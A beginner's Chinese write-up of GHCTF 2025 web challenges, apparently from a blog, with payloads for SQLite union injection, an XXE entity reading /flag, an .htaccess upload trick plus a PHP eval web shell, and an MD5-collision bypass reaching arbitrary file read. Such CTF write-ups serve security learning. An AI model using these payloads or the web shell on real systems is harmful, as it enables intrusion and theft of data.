GHCTF 2025 web 萌新初探wp

ctf萌新第一次写wp,如有错误请师傅们指出

[GHCTF 2025]SQL???

打开靶机是一个用户查询的页面,结合题目名称猜测是sql注入,但是常规方法都试过了没办法注入,当时也是很懵逼,后来一个同学用sqlmap一扫说是提示sqlite注入,这才恍然大悟。

sqlite是除mysql外另一个数据库,语法与mysql相比稍微有点差异,但是注入过程大同小异,csdn一搜sqlite注入过程就做出来了,这个题甚至连过滤都没有。

查字段数
 ?id=1 union select 1,2,3,4,5

查表名和列名

 ?id=1 union select 1,2,(select sql from sqlite_master limit 0,1),4,5;

查询数据

 ?id=1 union select 1,2,(select group_concat(flag) from flag),4,5;
 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--

得到flag

官方wp

查字段数
 id=1 order by 5
查看表
union select 1,2,3,sqlite_version(),(select sql from sqlite_master limit 0,1)---
查数据
 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--

[GHCTF 2025](>﹏<)

打开是一段代码

 from flask import Flask,request
 import base64
 from lxml import etree
 import re
 app = Flask(__name__)
 ​
 @app.route('/')
 def index():
     return open(__file__).read()
 ​
 ​
 @app.route('/ghctf',methods=['POST'])
 def parse():
     xml=request.form.get('xml')
     print(xml)
     if xml is None:
         return "No System is Safe."
     parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
     root = etree.fromstring(xml, parser)
     name=root.find('name').text
     return name or None
 ​
 ​
 ​
 if __name__=="__main__":
     app.run(host='0.0.0.0',port=8080)

看到flask看到lxml,差不多能猜到是xxe漏洞,漏洞点是第18行这段代码和lxml库的使用。

我们看到可以在/ghctf目录下使用post方式传参xml,这里只需要对xml构造xxe攻击payload即可。

尝试在ghctf路由下post传入xml的值

 <!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///flag">]><root><name>&xxe;</name></root>

发现无法传入,我们尝试抓包上传

直接上传的话会报500错误,我们需要把xml的值url编码一下再上传

拿到flag

官方wp

 <?xml version="1.0"?>
 <!DOCTYPE test[
 <!ENTITY nn SYSTEM "file:///flag">
 ]>
 <user>
 <name>&nn;</name>
 <age>18</age>
 </user>

[GHCTF 2025]UPUPUP

这个题我不会,直接看官方wp

官方wp

考点:getimagesize和exif_imagetype绕过

apache 的服务器, 很容易想到 .htaccess;但是后端检测了 mine 类型, 如果直接在 .htaccess 开头加⼊ GIF89A 的话访问整个 images ⽬录下的⽂件都会爆500, 会出现语法错误。.htaccess 通过 # 来注释, 后来了解到还有 \x00

.htacess
 #define width 1
 #define height 1
 <FilesMatch "hey.hey">
 SetHandler application/x-httpd-php
 </FilesMatch>

然后上传hey.hey,content-type是image/jpeg

 #define width 1
 #define height 1
 <?php eval($_REQUEST[1]);?>

蚁剑连接查看flag即可

[GHCTF 2025]ez_readfile

打开是一段代码

  <?php
   show_source(__FILE__);
   if (md5($_POST['a']) === md5($_POST['b'])) {
       if ($_POST['a'] != $_POST['b']) {
           if (is_string($_POST['a']) && is_string($_POST['b'])) {
               echo file_get_contents($_GET['file']);
           }
       }
   }
 ?> 

三个if判断是md5强碰撞,这个我们可以用fastcoll生成md5碰撞字符

fastcoll的用法

我们找到fastcoll文件路径,找到fastcoll.exe

我们在这个文件的文件夹下新建一个1.txt,名字任意,然后往里随便输入一些内容比如一个数字1

然后保存这个文件,关闭,把他拖进fastcoll,一段时间后会生成两个文件

直接打开的话这两个文件都是乱码状态,我们可以利用脚本输出url格式

 <?php
 class CDUTSEC{
     public $var1;
     public $var2;
 }
 ​
 $tr = new CDUTSEC();
 $tr->var1 = file_get_contents('E:\\1_msg1.txt');          
 $tr->var2 = file_get_contents('E:\\1_msg2.txt');
 ​
 echo urlencode($tr->var1);
 echo "\n\n";
 echo urlencode($tr->var2);

修改刚才生成的两个文件的路径,运行这段代码,就可以得到经过url编码的两个经过md5强碰撞的值

然后就可以向靶机传入a和b的值,三个if判断条件就都可以满足

这里注意不能直接从网页传参,要用bp抓包传参,因为url解码后存在%00不可见字符,直接传参会被吞,使用bp抓包传参就可以避免这种情况。

可以看到已经可以读取文件/etc/passwd,说明判断已经打通,下面就是如何读取flag的问题。

这里用到的知识点是CVE-2024-2961漏洞

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值